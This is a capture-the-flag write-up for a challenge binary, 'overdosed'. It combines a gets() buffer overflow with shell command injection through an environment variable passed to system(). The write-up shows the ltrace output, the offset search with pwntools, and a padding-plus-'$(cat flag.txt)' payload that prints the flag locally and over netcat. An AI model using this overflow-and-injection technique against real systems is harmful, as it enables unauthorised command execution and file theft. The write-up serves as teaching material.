Summary

This challenge requires you to do a buffer overflow and a variable injection.

Information gathering

First we run the executable like you normally would.

```
$ ./overdosed
[ERROR] Could not find flag.txt
```

Let's create a `flag.txt` file and try again:

```
$ ./overdosed
Could you tell me about yourself?
abc
Hey, I am from TMHC. Could you tell me your name?
Name: test
Hello test
```

Now let's try running it with `ltrace`:

```
$ ltrace ./overdosed
puts("Could you tell me about yourself"...Could you tell me about yourself?
)             = 34
fflush(0x7f4697049760)                                  = 0
gets(0x7fff6dc074b0, 0x7f469704a8c0, 0, 2880abc
)           = 0x7fff6dc074b0
strlen("QHpix")                                         = 5
sprintf("/bin/echo "QHpix"", "/bin/echo "%s"", "QHpix") = 17
popen("/bin/echo "QHpix"", "r")                         = 0x559560c5fa80
fgets("QHpix\n", 30, 0x559560c5fa80)                    = 0x7fff6dc07490
--- SIGCHLD (Child exited)
```

```
--- SIGCHLD (Child exited) ---
setenv("name", "QHpix\n", 1)                            = 0
puts("Hey, I am from TMHC. Could you t"...Hey, I am from TMHC. Could you tell me
your name?
)             = 50
printf("Name: ")                                          = 6
fflush(0x7f4697049760Name: )                                    = 0
read(1test
, "test\n", 64)                                   = 5
strlen("test\n")                                        = 5
sprintf("/bin/echo Hello "test\n"", "/bin/echo Hello "%s"", "test\n") = 23
system("/bin/echo Hello "test\n""Hello test


 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                  = 0
+++ exited (status 0) +++
```

It seems our `test` gets printed with `echo`.

Testing characters

Let's try to use `$(cat flag.txt)` to see if we can read it:

```
$ ./overdosed
Could you tell me about yourself?
abc
Hey, I am from TMHC. Could you tell me your name?
Name: $(cat flag.txt)
Illegal name!
```

Maybe "`" will work:

```
$ ./overdosed
Could you tell me about yourself?
abc
Hey, I am from TMHC. Could you tell me your name?
```

```
Name: `cat flag.txt`
Illegal name!
```

That did not work either.

We see that there is an environment variable called `name` that is being set to `QHpix`. Maybe we can use that:

```
$ ./overdosed
Could you tell me about yourself?
abc
Hey, I am from TMHC. Could you tell me your name?
Name: ${name}
Hello QHpix
```

That seemed to work!

Overflow

Now we need to find a way to change `QHpix` to something we want. Let's try to set it to `$(cat flag.txt)` First we have to find the padding. We can do this using `pwntools` pattern:

```
>>> from pwn import *
>>> cyclic(80)
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
```

Let's use that pattern:

```
$ ./overdosed
Could you tell me about yourself?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa
Hey, I am from TMHC. Could you tell me your name?
Name: ${name}
Hello qaaaraaasaaataaa
```

Great, we overflowed! Now let's get the padding needed:

```
>>> len(fit({'qaaaraaasaaataaa':''}))
64
```

So the padding is 64. We can try the following payload:

```
>>> 'A'*64 + '$(cat flag.txt)'
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$(cat flag.txt)'
```

```
$ ./overdosed
Could you tell me about yourself?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$(cat flag.txt)
Hey, I am from TMHC. Could you tell me your name?
Name: ${name}
Hello CTF{test}
```

Cool! Let's see if it works remotely:

```
$ nc 127.0.0.1 1337
Could you tell me about yourself?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$(cat flag.txt)
Hey, I am from TMHC. Could you tell me your name?
Name: ${name}
Hello TMHC{<flag>}
```

It worked!